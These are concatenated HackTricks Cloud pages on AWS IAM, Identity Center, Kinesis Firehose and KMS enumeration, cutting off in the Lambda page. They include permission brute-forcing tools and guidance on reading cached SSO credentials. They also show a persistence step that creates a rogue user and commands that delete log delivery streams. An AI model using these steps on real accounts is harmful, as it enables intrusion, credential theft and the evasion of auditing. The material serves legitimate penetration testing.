Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Support HackTricks</summary>
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
## IAM
You can find a **description of IAM** in:
{% content-ref url="../aws-basic-information/" %}
[aws-basic-information](../aws-basic-information/)
{% endcontent-ref %}
### Enumeration
Main permissions needed:
* `iam:ListPolicies`, `iam:GetPolicy` and `iam:GetPolicyVersion`
* `iam:ListRoles`
* `iam:ListUsers`
* `iam:ListGroups`
* `iam:ListGroupsForUser`
* `iam:ListAttachedUserPolicies`
* `iam:ListAttachedRolePolicies`
* `iam:ListAttachedGroupPolicies`
* `iam:ListUserPolicies` and `iam:GetUserPolicy`
* `iam:ListGroupPolicies` and `iam:GetGroupPolicy`
* `iam:ListRolePolicies` and `iam:GetRolePolicy`
```bash
# All IAMs
## Retrieves information about all IAM users, groups, roles, and policies
## in your Amazon Web Services account, including their relationships to
## one another. Use this operation to obtain a snapshot of the configura-
## tion of IAM permissions (users, groups, roles, and policies) in your
## account.
aws iam get-account-authorization-details
# List users
aws iam get-user #Get current user information
aws iam list-users
aws iam list-ssh-public-keys #User keys for CodeCommit
aws iam get-ssh-public-key --user-name <username> --ssh-public-key-id <id> --encoding SSH #Get public key with metadata
aws iam list-service-specific-credentials #Get special permissions of the IAM user over specific services
aws iam get-user --user-name <username> #Get metadata of user, included permissions boundaries
aws iam list-access-keys #List created access keys
## inline policies
aws iam list-user-policies --user-name <username> #Get inline policies of the user
aws iam get-user-policy --user-name <username> --policy-name <policyname> #Get inline policy details
## attached policies
aws iam list-attached-user-policies --user-name <username> #Get policies of user, it doesn't get inline policies
# List groups
aws iam list-groups #Get groups
aws iam list-groups-for-user --user-name <username> #Get groups of a user
aws iam get-group --group-name <name> #Get group name info
## inline policies
aws iam list-group-policies --group-name <username> #Get inline policies of the group
aws iam get-group-policy --group-name <username> --policy-name <policyname> #Get an inline policy info
## attached policies
aws iam list-attached-group-policies --group-name <name> #Get policies of group, it doesn't get inline policies
# List roles
aws iam list-roles #Get roles
aws iam get-role --role-name <role-name> #Get role
## inline policies
aws iam list-role-policies --role-name <name> #Get inline policies of a role
aws iam get-role-policy --role-name <name> --policy-name <name> #Get inline policy details
## attached policies
aws iam list-attached-role-policies --role-name <role-name> #Get policies of role, it doesn't get inline policies
# List policies
aws iam list-policies [--only-attached] [--scope Local]
aws iam list-policies-granting-service-access --arn <identity> --service-namespaces <svc> # Get list of policies that give access to the user to the service
## Get policy content
aws iam get-policy --policy-arn <policy_arn>
aws iam list-policy-versions --policy-arn <arn>
aws iam get-policy-version --policy-arn <arn:aws:iam::975426262029:policy/list_apigateways> --version-id <VERSION_X>
# Enumerate providers
aws iam list-saml-providers
aws iam get-saml-provider --saml-provider-arn <ARN>
aws iam list-open-id-connect-providers
aws iam get-open-id-connect-provider --open-id-connect-provider-arn <ARN>
# Password Policy
aws iam get-account-password-policy
# MFA
aws iam list-mfa-devices
aws iam list-virtual-mfa-devices
```
### Permissions Brute Force
If you are interested in your own permissions but you don't have access to query IAM you could always brute-force them.
#### bf-aws-permissions
The tool [**bf-aws-permissions**](https://github.com/carlospolop/bf-aws-permissions) is just a bash script that will run using the indicated profile all the **`list*`, `describe*`, `get*`** actions it can find using `aws` cli help messages and **return the successful executions**.
{% code overflow="wrap" %}
```bash
# Bruteforce permissions
bash bf-aws-permissions.sh -p default > /tmp/bf-permissions-verbose.txt
```
{% endcode %}
#### bf-aws-perms-simulate
The tool [**bf-aws-perms-simulate**](https://github.com/carlospolop/bf-aws-perms-simulate) can find your current permission (or the ones of other principals) if you have the permission **`iam:SimulatePrincipalPolicy`**
```bash
# Ask for permissions
python3 aws_permissions_checker.py --profile <AWS_PROFILE> [--arn <USER_ARN>]
```
#### Perms2ManagedPolicies
If you found **some permissions your user has**, and you think that they are being granted by a **managed AWS role** (and not by a custom one). You can use the tool [**aws-Perms2ManagedRoles**](https://github.com/carlospolop/aws-Perms2ManagedPolicies) to check all the **AWS managed roles that grants the permissions you discovered that you have**.
{% code overflow="wrap" %}
```bash
# Run example with my profile
python3 aws-Perms2ManagedPolicies.py --profile myadmin --permissions-file example-permissions.txt
```
{% endcode %}
{% hint style="warning" %}
It's possible to "know" if the permissions you have are granted by an AWS managed role if you see that **you have permissions over services that aren't used** for example.
{% endhint %}
#### Cloudtrail2IAM
[**CloudTrail2IAM**](https://github.com/carlospolop/Cloudtrail2IAM) is a Python tool that analyses **AWS CloudTrail logs to extract and summarize actions** done by everyone or just an specific user or role. The tool will **parse every cloudtrail log from the indicated bucket**.
{% code overflow="wrap" %}
```bash
git clone https://github.com/carlospolop/Cloudtrail2IAM
cd Cloudtrail2IAM
pip install -r requirements.txt
python3 cloudtrail2IAM.py --prefix PREFIX --bucket_name BUCKET_NAME --profile PROFILE [--filter-name FILTER_NAME] [--threads THREADS]
```
{% endcode %}
{% hint style="warning" %}
If you find .tfstate (Terraform state files) or CloudFormation files (these are usually yaml files located inside a bucket with the prefix cf-templates), you can also read them to find aws configuration and find which permissions have been assigned to who.
{% endhint %}
#### enumerate-iam
To use the tool [**https://github.com/andresriancho/enumerate-iam**](https://github.com/andresriancho/enumerate-iam) you first need to download all the API AWS endpoints, from those the script **`generate_bruteforce_tests.py`** will get all the **"list\_", "describe\_", and "get\_" endpoints.** And finally, it will try to **access them** with the given credentials and **indicate if it worked**.
(In my experience the **tool hangs at some point**, [**checkout this fix**](https://github.com/andresriancho/enumerate-iam/pull/15/commits/77ad5b41216e3b5f1511d0c385da8cd5984c2d3c) to try to fix that).
{% hint style="warning" %}
In my experience this tool is like the previous one but working worse and checking less permissions
{% endhint %}
{% code overflow="wrap" %}
```bash
# Install tool
git clone git@github.com:andresriancho/enumerate-iam.git
cd enumerate-iam/
pip install -r requirements.txt
# Download API endpoints
cd enumerate_iam/
git clone https://github.com/aws/aws-sdk-js.git
python3 generate_bruteforce_tests.py
rm -rf aws-sdk-js
cd ..
# Enumerate permissions
python3 enumerate-iam.py --access-key ACCESS_KEY --secret-key SECRET_KEY [--session-token SESSION_TOKEN] [--region REGION]
```
{% endcode %}
#### weirdAAL
You could also use the tool [**weirdAAL**](https://github.com/carnal0wnage/weirdAAL/wiki). This tool will check **several common operations on several common services** (will check some enumeration permissions and also some privesc permissions). But it will only check the coded checks (the only way to check more stuff if coding more tests).
```bash
# Install
git clone https://github.com/carnal0wnage/weirdAAL.git
cd weirdAAL
python3 -m venv weirdAAL
source weirdAAL/bin/activate
pip3 install -r requirements.txt
# Create a .env file with aws credentials such as
[default]
aws_access_key_id = <insert key id>
aws_secret_access_key = <insert secret key>
# Setup DB
python3 create_dbs.py
# Invoke it
python3 weirdAAL.py -m ec2_describe_instances -t ec2test # Just some ec2 tests
python3 weirdAAL.py -m recon_all -t MyTarget # Check all permissions
# You will see output such as:
# [+] elbv2 Actions allowed are [+]
# ['DescribeLoadBalancers', 'DescribeAccountLimits', 'DescribeTargetGroups']
```
#### Hardening Tools to BF permissions
{% tabs %}
{% tab title="CloudSploit" %}
{% code overflow="wrap" %}
```bash
# Export env variables
./index.js --console=text --config ./config.js --json /tmp/out-cloudsploit.json
# Filter results removing unknown
jq 'map(select(.status | contains("UNKNOWN") | not))' /tmp/out-cloudsploit.json | jq 'map(select(.resource | contains("N/A") | not))' > /tmp/out-cloudsploit-filt.json
# Get services by regions
jq 'group_by(.region) | map({(.[0].region): ([map((.resource | split(":"))[2]) | unique])})' ~/Desktop/pentests/cere/greybox/core-dev-dev-cloudsploit-filtered.json
```
{% endcode %}
{% endtab %}
{% tab title="SteamPipe" %}
```bash
# https://github.com/turbot/steampipe-mod-aws-insights
steampipe check all --export=json
# https://github.com/turbot/steampipe-mod-aws-perimeter
# In this case you cannot output to JSON, so heck it in the dashboard
steampipe dashboard
```
{% endtab %}
{% endtabs %}
#### \<YourTool>
Neither of the previous tools is capable of checking close to all permissions, so if you know a better tool send a PR!
### Unauthenticated Access
{% content-ref url="../aws-unauthenticated-enum-access/aws-iam-and-sts-unauthenticated-enum.md" %}
[aws-iam-and-sts-unauthenticated-enum.md](../aws-unauthenticated-enum-access/aws-iam-and-sts-unauthenticated-enum.md)
{% endcontent-ref %}
### Privilege Escalation
In the following page you can check how to **abuse IAM permissions to escalate privileges**:
{% content-ref url="../aws-privilege-escalation/aws-iam-privesc.md" %}
[aws-iam-privesc.md](../aws-privilege-escalation/aws-iam-privesc.md)
{% endcontent-ref %}
### IAM Post Exploitation
{% content-ref url="../aws-post-exploitation/aws-iam-post-exploitation.md" %}
[aws-iam-post-exploitation.md](../aws-post-exploitation/aws-iam-post-exploitation.md)
{% endcontent-ref %}
### IAM Persistence
{% content-ref url="../aws-persistence/aws-iam-persistence.md" %}
[aws-iam-persistence.md](../aws-persistence/aws-iam-persistence.md)
{% endcontent-ref %}
## IAM Identity Center
You can find a **description of IAM Identity Center** in:
{% content-ref url="../aws-basic-information/" %}
[aws-basic-information](../aws-basic-information/)
{% endcontent-ref %}
### Connect via SSO with CLI
```bash
# Connect with sso via CLI aws configure sso
aws configure sso
[profile profile_name]
sso_start_url = https://subdomain.awsapps.com/start/
sso_account_id = <account_numbre>
sso_role_name = AdministratorAccess
sso_region = us-east-1
```
### Enumeration
The main elements of the Identity Center are:
* Users and groups
* Permission Sets: Have policies attached
* AWS Accounts
Then, relationships are created so users/groups have Permission Sets over AWS Account.
{% hint style="info" %}
Note that there are 3 ways to attach policies to a Permission Set. Attaching AWS managed policies, Customer managed policies (these policies needs to be created in all the accounts the Permissions Set is affecting), and inline policies (defined in there).
{% endhint %}
```bash
# Check if IAM Identity Center is used
aws sso-admin list-instances
# Get Permissions sets. These are the policies that can be assigned
aws sso-admin list-permission-sets --instance-arn <instance-arn>
aws sso-admin describe-permission-set --instance-arn <instance-arn> --permission-set-arn <perm-set-arn>
## Get managed policies of a permission set
aws sso-admin list-managed-policies-in-permission-set --instance-arn <instance-arn> --permission-set-arn <perm-set-arn>
## Get inline policies of a permission set
aws sso-admin get-inline-policy-for-permission-set --instance-arn <instance-arn> --permission-set-arn <perm-set-arn>
## Get customer managed policies of a permission set
aws sso-admin list-customer-managed-policy-references-in-permission-set --instance-arn <instance-arn> --permission-set-arn <perm-set-arn>
## Get boundaries of a permission set
aws sso-admin get-permissions-boundary-for-permission-set --instance-arn <instance-arn> --permission-set-arn <perm-set-arn>
## List accounts a permission set is affecting
aws sso-admin list-accounts-for-provisioned-permission-set --instance-arn <instance-arn> --permission-set-arn <perm-set-arn>
## List principals given a permission set in an account
aws sso-admin list-account-assignments --instance-arn <instance-arn> --permission-set-arn <perm-set-arn> --account-id <account_id>
# Get permissions sets affecting an account
aws sso-admin list-permission-sets-provisioned-to-account --instance-arn <instance-arn> --account-id <account_id>
# List users & groups from the identity store
aws identitystore list-users --identity-store-id <store-id>
aws identitystore list-groups --identity-store-id <store-id>
## Get members of groups
aws identitystore list-group-memberships --identity-store-id <store-id> --group-id <group-id>
## Get memberships or a user or a group
aws identitystore list-group-memberships-for-member --identity-store-id <store-id> --member-id <member-id>
```
### Local Enumeration
It's possible to create inside the folder `$HOME/.aws` the file config to configure profiles that are accessible via SSO, for example:
```ini
[default]
region = us-west-2
output = json
[profile my-sso-profile]
sso_start_url = https://my-sso-portal.awsapps.com/start
sso_region = us-west-2
sso_account_id = 123456789012
sso_role_name = MySSORole
region = us-west-2
output = json
[profile dependent-profile]
role_arn = arn:aws:iam::<acc-id>:role/ReadOnlyRole
source_profile = Hacktricks-Admin
```
This configuration can be used with the commands:
```bash
# Login in ms-sso-profile
aws sso login --profile my-sso-profile
# Use dependent-profile
aws s3 ls --profile dependent-profile
```
When a **profile from SSO is used** to access some information, the credentials are **cached** in a file inside the folder **`$HOME/.aws/sso/cache`**. Therefore they can be **read and used from there**.
Moreover, **more credentials** can be stored in the folder **`$HOME/.aws/cli/cache`**. This cache directory is primarily used when you are **working with AWS CLI profiles** that use IAM user credentials or **assume** roles through IAM (without SSO). Config example:
```ini
[profile crossaccountrole]
role_arn = arn:aws:iam::234567890123:role/SomeRole
source_profile = default
mfa_serial = arn:aws:iam::123456789012:mfa/saanvi
external_id = 123456
```
### Unauthenticated Access
{% content-ref url="../aws-unauthenticated-enum-access/aws-identity-center-and-sso-unauthenticated-enum.md" %}
[aws-identity-center-and-sso-unauthenticated-enum.md](../aws-unauthenticated-enum-access/aws-identity-center-and-sso-unauthenticated-enum.md)
{% endcontent-ref %}
### Privilege Escalation
{% content-ref url="../aws-privilege-escalation/aws-sso-and-identitystore-privesc.md" %}
[aws-sso-and-identitystore-privesc.md](../aws-privilege-escalation/aws-sso-and-identitystore-privesc.md)
{% endcontent-ref %}
### Post Exploitation
{% content-ref url="../aws-post-exploitation/aws-sso-and-identitystore-post-exploitation.md" %}
[aws-sso-and-identitystore-post-exploitation.md](../aws-post-exploitation/aws-sso-and-identitystore-post-exploitation.md)
{% endcontent-ref %}
### Persistence
#### Create a user an assign permissions to it
{% code overflow="wrap" %}
```bash
# Create user identitystore:CreateUser
aws identitystore create-user --identity-store-id <store-id> --user-name privesc --display-name privesc --emails Value=sdkabflvwsljyclpma@tmmbt.net,Type=Work,Primary=True --name Formatted=privesc,FamilyName=privesc,GivenName=privesc
## After creating it try to login in the console using the selected username, you will receive an email with the code and then you will be able to select a password
```
{% endcode %}
* Create a group and assign it permissions and set on it a controlled user
* Give extra permissions to a controlled user or group
* By default, only users with permissions form the Management Account are going to be able to access and control the IAM Identity Center.
However, it's possible via Delegate Administrator to allow users from a different account to manage it. They won't have exactly the same permission, but they will be able to perform [**management activities**](https://docs.aws.amazon.com/singlesignon/latest/userguide/delegated-admin.html).
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Support HackTricks</summary>
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}

View File

@@ -0,0 +1,77 @@
# AWS - Kinesis Data Firehose Enum
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Support HackTricks</summary>
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
## Kinesis Data Firehose
Amazon Kinesis Data Firehose is a **fully managed service** that facilitates the delivery of **real-time streaming data**. It supports a variety of destinations, including Amazon Simple Storage Service (Amazon S3), Amazon Redshift, Amazon OpenSearch Service, Splunk, and custom HTTP endpoints.
The service alleviates the need for writing applications or managing resources by allowing data producers to be configured to forward data directly to Kinesis Data Firehose. This service is responsible for the **automatic delivery of data to the specified destination**. Additionally, Kinesis Data Firehose provides the option to **transform the data prior to its delivery**, enhancing its flexibility and applicability to various use cases.
### Enumeration
```bash
# Get delivery streams
aws firehose list-delivery-streams
# Get stream info
aws firehose describe-delivery-stream --delivery-stream-name <name>
## Get roles
aws firehose describe-delivery-stream --delivery-stream-name <name> | grep -i RoleARN
```
## Post-exploitation / Defense Bypass
In case firehose is used to send logs or defense insights, using these functionalities an attacker could prevent it from working properly.
### firehose:DeleteDeliveryStream
```
aws firehose delete-delivery-stream --delivery-stream-name <value> --allow-force-delete
```
### firehose:UpdateDestination
```
aws firehose update-destination --delivery-stream-name <value> --current-delivery-stream-version-id <value> --destination-id <value>
```
### firehose:PutRecord | firehose:PutRecordBatch
```
aws firehose put-record --delivery-stream-name my-stream --record '{"Data":"SGVsbG8gd29ybGQ="}'
aws firehose put-record-batch --delivery-stream-name my-stream --records file://records.json
```
## References
* [https://docs.amazonaws.cn/en\_us/firehose/latest/dev/what-is-this-service.html](https://docs.amazonaws.cn/en_us/firehose/latest/dev/what-is-this-service.html)
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Support HackTricks</summary>
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}

View File

@@ -0,0 +1,183 @@
# AWS - KMS Enum
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Support HackTricks</summary>
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
## KMS - Key Management Service
AWS Key Management Service (AWS KMS) is presented as a managed service, simplifying the process for users to **create and manage customer master keys** (CMKs). These CMKs are integral in the encryption of user data. A notable feature of AWS KMS is that CMKs are predominantly **secured by hardware security modules** (HSMs), enhancing the protection of the encryption keys.
KMS uses **symmetric cryptography**. This is used to **encrypt information as rest** (for example, inside a S3). If you need to **encrypt information in transit** you need to use something like **TLS**.
KMS is a **region specific service**.
**Administrators at Amazon do not have access to your keys**. They cannot recover your keys and they do not help you with encryption of your keys. AWS simply administers the operating system and the underlying application it's up to us to administer our encryption keys and administer how those keys are used.
**Customer Master Keys** (CMK): Can encrypt data up to 4KB in size. They are typically used to create, encrypt, and decrypt the DEKs (Data Encryption Keys). Then the DEKs are used to encrypt the data.
A customer master key (CMK) is a logical representation of a master key in AWS KMS. In addition to the master key's identifiers and other metadata, including its creation date, description, and key state, a **CMK contains the key material which used to encrypt and decrypt data**. When you create a CMK, by default, AWS KMS generates the key material for that CMK. However, you can choose to create a CMK without key material and then import your own key material into that CMK.
There are 2 types of master keys:
* **AWS managed CMKs: Used by other services to encrypt data**. It's used by the service that created it in a region. They are created the first time you implement the encryption in that service. Rotates every 3 years and it's not possible to change it.
* **Customer manager CMKs**: Flexibility, rotation, configurable access and key policy. Enable and disable keys.
**Envelope Encryption** in the context of Key Management Service (KMS): Two-tier hierarchy system to **encrypt data with data key and then encrypt data key with master key**.
### Key Policies
These defines **who can use and access a key in KMS**.
By **default:**
* It gives the **IAM of the** **AWS account that owns the KMS key access** to manage the access to the KMS key via IAM.
Unlike other AWS resource policies, a AWS **KMS key policy does not automatically give permission any of the principals of the account**. To give permission to account administrators, the **key policy must include an explicit statement** that provides this permission, like this one.
* Without allowing the account(`"AWS": "arn:aws:iam::111122223333:root"`) IAM permissions won't work.
* It **allows the account to use IAM policies** to allow access to the KMS key, in addition to the key policy.
**Without this permission, IAM policies that allow access to the key are ineffective**, although IAM policies that deny access to the key are still effective.
* It **reduces the risk of the key becoming unmanageable** by giving access control permission to the account administrators, including the account root user, which cannot be deleted.
**Default policy** example:
```json
{
"Sid": "Enable IAM policies",
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::111122223333:root"
},
"Action": "kms:*",
"Resource": "*"
}
```
{% hint style="warning" %}
If the **account is allowed** (`"arn:aws:iam::111122223333:root"`) a **principal** from the account **will still need IAM permissions** to use the KMS key. However, if the **ARN** of a role for example is **specifically allowed** in the **Key Policy**, that role **doesn't need IAM permissions**.
{% endhint %}
<details>
<summary>Policy Details</summary>
Properties of a policy:
* JSON based document
* Resource --> Affected resources (can be "\*")
* Action --> kms:Encrypt, kms:Decrypt, kms:CreateGrant ... (permissions)
* Effect --> Allow/Deny
* Principal --> arn affected
* Conditions (optional) --> Condition to give the permissions
Grants:
* Allow to delegate your permissions to another AWS principal within your AWS account. You need to create them using the AWS KMS APIs. It can be indicated the CMK identifier, the grantee principal and the required level of opoeration (Decrypt, Encrypt, GenerateDataKey...)
* After the grant is created a GrantToken and a GratID are issued
**Access**:
* Via **key policy** -- If this exist, this takes **precedent** over the IAM policy
* Via **IAM policy**
* Via **grants**
</details>
### Key Administrators
Key administrator by default:
* Have access to manage KMS but not to encrypt or decrypt data
* Only IAM users and roles can be added to Key Administrators list (not groups)
* If external CMK is used, Key Administrators have the permission to import key material
### Rotation of CMKs
* The longer the same key is left in place, the more data is encrypted with that key, and if that key is breached, then the wider the blast area of data is at risk. In addition to this, the longer the key is active, the probability of it being breached increases.
* **KMS rotate customer keys every 365 days** (or you can perform the process manually whenever you want) and **keys managed by AWS every 3 years** and this time it cannot be changed.
* **Older keys are retained** to decrypt data that was encrypted prior to the rotation
* In a break, rotating the key won't remove the threat as it will be possible to decrypt all the data encrypted with the compromised key. However, the **new data will be encrypted with the new key**.
* If **CMK** is in state of **disabled** or **pending** **deletion**, KMS will **not perform a key rotation** until the CMK is re-enabled or deletion is cancelled.
#### Manual rotation
* A **new CMK needs to be created**, then, a new CMK-ID is created, so you will need to **update** any **application** to **reference** the new CMK-ID.
* To do this process easier you can **use aliases to refer to a key-id** and then just update the key the alias is referring to.
* You need to **keep old keys to decrypt old files** encrypted with it.
You can import keys from your on-premises key infrastructure .
### Other relevant KMS information
KMS is priced per number of encryption/decryption requests received from all services per month.
KMS has full audit and compliance **integration with CloudTrail**; this is where you can audit all changes performed on KMS.
With KMS policy you can do the following:
* Limit who can create data keys and which services have access to use these keys
* Limit systems access to encrypt only, decrypt only or both
* Define to enable systems to access keys across regions (although it is not recommended as a failure in the region hosting KMS will affect availability of systems in other regions).
You cannot synchronize or move/copy keys across regions; you can only define rules to allow access across region.
### Enumeration
```bash
aws kms list-keys
aws kms list-key-policies --key-id <id>
aws kms list-grants --key-id <id>
aws kms describe-key --key-id <id>
aws kms get-key-policy --key-id <id> --policy-name <name> # Default policy name is "default"
aws kms describe-custom-key-stores
```
### Privesc
{% content-ref url="../aws-privilege-escalation/aws-kms-privesc.md" %}
[aws-kms-privesc.md](../aws-privilege-escalation/aws-kms-privesc.md)
{% endcontent-ref %}
### Post Exploitation
{% content-ref url="../aws-post-exploitation/aws-kms-post-exploitation.md" %}
[aws-kms-post-exploitation.md](../aws-post-exploitation/aws-kms-post-exploitation.md)
{% endcontent-ref %}
### Persistence
{% content-ref url="../aws-persistence/aws-kms-persistence.md" %}
[aws-kms-persistence.md](../aws-persistence/aws-kms-persistence.md)
{% endcontent-ref %}
## References
* [https://docs.aws.amazon.com/kms/latest/developerguide/key-policy-default.html](https://docs.aws.amazon.com/kms/latest/developerguide/key-policy-default.html)
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Support HackTricks</summary>
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}

View File

@@ -0,0 +1,210 @@
# AWS - Lambda Enum
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Support HackTricks</summary>
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
## Lambda
Amazon Web Services (AWS) Lambda is described as a **compute service** that enables the execution of code without the necessity for server provision or management. It is characterized by its ability to **automatically handle resource allocation** needed for code execution, ensuring features like high availability, scalability, and security. A significant aspect of Lambda is its pricing model, where **charges are based solely on the compute time utilized**, eliminating the need for initial investments or long-term obligations.
To call a lambda it's possible to call it as **frequently as you wants** (with Cloudwatch), **expose** an **URL** endpoint and call it, call it via **API Gateway** or even based on **events** such as **changes** to data in a **S3** bucket or updates to a **DynamoDB** table.
The **code** of a lambda is stored in **`/var/task`**.
### Lambda Aliases Weights
A Lambda can have **several versions**.\
And it can have **more than 1** version exposed via **aliases**. The **weights** of **each** of the **versions** exposed inside and alias will decide **which alias receive the invocation** (it can be 90%-10% for example).\
If the code of **one** of the aliases is **vulnerable** you can send **requests until the vulnerable** versions receives the exploit.
![](<../../../.gitbook/assets/image (223).png>)
### Resource Policies
Lambda resource policies allow to **give access to other services/accounts to invoke** the lambda for example.\
For example this is the policy to allow **anyone to access a lambda exposed via URL**:
<figure><img src="https://lh4.googleusercontent.com/4PNFKBdzr3nMrPqeKkTslgwWDKxkXMdQ1SNdv7NPHykj3GX8wODrQyXOFbjk4fxHfZ8pDm5ijWgk2Vq2EGXiPRT3TQfZf1fHycvdEKBuDxJDYos1CJeMHXSeg86ZB-Ol7CNtten6xkVFQj6AhDUEWNQJrQ=s2048" alt=""><figcaption></figcaption></figure>
Or this to allow an API Gateway to invoke it:
